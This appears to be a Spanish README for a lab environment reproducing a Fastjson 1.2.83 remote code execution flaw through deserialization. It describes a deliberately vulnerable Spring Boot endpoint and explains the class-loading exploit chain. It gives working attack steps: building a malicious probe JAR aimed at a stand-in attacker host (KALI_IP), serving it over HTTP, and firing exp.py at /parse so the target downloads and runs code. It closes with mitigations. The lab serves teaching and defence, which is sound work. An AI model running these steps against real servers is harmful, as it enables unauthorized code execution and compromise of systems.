
Entorno de laboratorio Fastjson 1.2.83 RCE (CVE-2026-16723)
Descargo de responsabilidad: este laboratorio está destinado únicamente a la investigación de seguridad, demostraciones didácticas y construcción de defensas en entornos autorizados. Realizar pruebas sobre objetivos no autorizados puede ser ilegal; el usuario asume las consecuencias de su uso.
| Elemento | Contenido |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| Versiones afectadas | Fastjson 1.2.68 ~ 1.2.83 |
| Tipo de vulnerabilidad | Ejecución remota de código por deserialización (RCE) |
| Característica principal | Gadget-free (no depende de ninguna biblioteca de terceros) |
| Condiciones para el RCE completo | JDK 8 + Spring Boot Fat-JAR + SafeMode desactivado |
Fastjson 1.2.83
Spring Boot fat-JAR empaquetado (incluye LaunchedURLClassLoader, componente necesario de la cadena de explotación)
Línea clave ajustada: ParseController cambia el ClassLoader del hilo a LaunchedURLClassLoader antes de llamar a JSON.parse() (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())); es el requisito previo necesario para que la ruta de sondeo de @JSONType pueda cargar clases de forma remota
Proporciona dos endpoints de análisis: /parse (JSON.parse) y /parseObject (JSON.parseObject)
Compilar el fat-JAR desde el código fuente (requiere JDK 8 + Maven):
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
El artefacto de compilación está en target/fastjson-rce-lab.jar.
Si no tienes Maven, también puedes usar el Maven Wrapper incluido en el proyecto (requiere configurar
mvnwde antemano).
# Haz doble clic en start.bat
# o desde la línea de comandos
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
chmod +x start.sh
./start.sh
# o iniciar manualmente
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
Acerca de
--server.port=18080: el entorno puede contener variables de entorno comoSERVER__PORTque sobrescriben la configuración del puerto enapplication.properties; forzar el puerto mediante un parámetro de línea de comandos garantiza que el puerto sea el correcto (los parámetros de línea de comandos tienen la máxima prioridad).
Acerca de los parámetros JVM:
-Xmx256m -XX:+UseSerialGCson para que el laboratorio funcione correctamente en máquinas virtuales con poca memoria (p. ej., Kali de 2-4 GB) y evitar OOM durante la inicialización de la JVM. Si la máquina tiene suficiente memoria, se pueden eliminar.
curl http://127.0.0.1:18080/status
Respuesta esperada:
{
"fastjsonVersion": "1.2.83",
"safeMode": false,
"autoTypeSupport": false,
"vulnerable": true,
"javaVersion": "1.8.0_xxx"
}
Si safeMode: false y vulnerable: true, el estado es vulnerable.
1. El atacante envía un JSON especialmente diseñado (@type apunta a una ruta de recurso jar:http)
2. checkAutoType() de Fastjson convierte typeName en la ruta de recurso "typeName.replace('.', '/') + .class" para la detección
3. getResourceAsStream() activa LaunchedURLClassLoader → inicia una petición HTTP para descargar el JAR remoto
4. ASM escanea el bytecode y encuentra la anotación @JSONType → la considera una señal de confianza
5. Omite la comprobación de la clase base peligrosa → loadClass() → defineClass()
6. Se activa el bloque de inicialización estática <clinit> → RCE
// ParseController.java — endpoint /parse
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
// ⚠️ Esta línea es la clave: cambiar a LaunchedURLClassLoader
Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
Object obj = JSON.parse(body);
// ...
}
Sin esa línea de setContextClassLoader, Fastjson utiliza el AppClassLoader predeterminado del sistema y no puede cargar clases remotas a través del protocolo jar:http://.
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
El poc/GenProbe.java incluido en el repositorio tiene dos problemas de compatibilidad ya corregidos:
/bin/bash -c codificado → se cambió a una versión genérica con Runtime.exec(String) (funciona en Windows/Linux)"cmd /c xxx"; en el laboratorio Linux se usa directamente "touch /tmp/pwned" o "bash -c xxx"El flujo completo del ataque se describe en 靶场测试完整指南.md (en el mismo directorio), e incluye:
# En la máquina atacante (o una máquina que pueda compilar Java)
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
# Copiar poc/www/probe a Kali
# Iniciar el alojamiento HTTP en Kali
cd poc/www && python3 -m http.server 19090
# Reiniciar el laboratorio → abrir un nuevo terminal en Kali y lanzar el exploit
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
# Parámetro de arranque de JVM
-Dfastjson.parser.safeMode=true
// Configuración en código
ParserConfig.getGlobalInstance().setSafeMode(true);
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.x</version>
</dependency>
Fastjson2 no se ve afectado por esta vulnerabilidad.
com.alibaba:fastjson:1.2.83_noneautotype| Método | Ruta | Descripción |
|---|
| GET | / | Página de inicio del laboratorio (HTML) |
| GET | /status | Estado de la configuración de Fastjson (JSON) |
| POST | /parse | JSON.parse(body) — endpoint principal de activación de la vulnerabilidad |
| POST | /parseObject | JSON.parseObject(body) — endpoint de activación alternativo |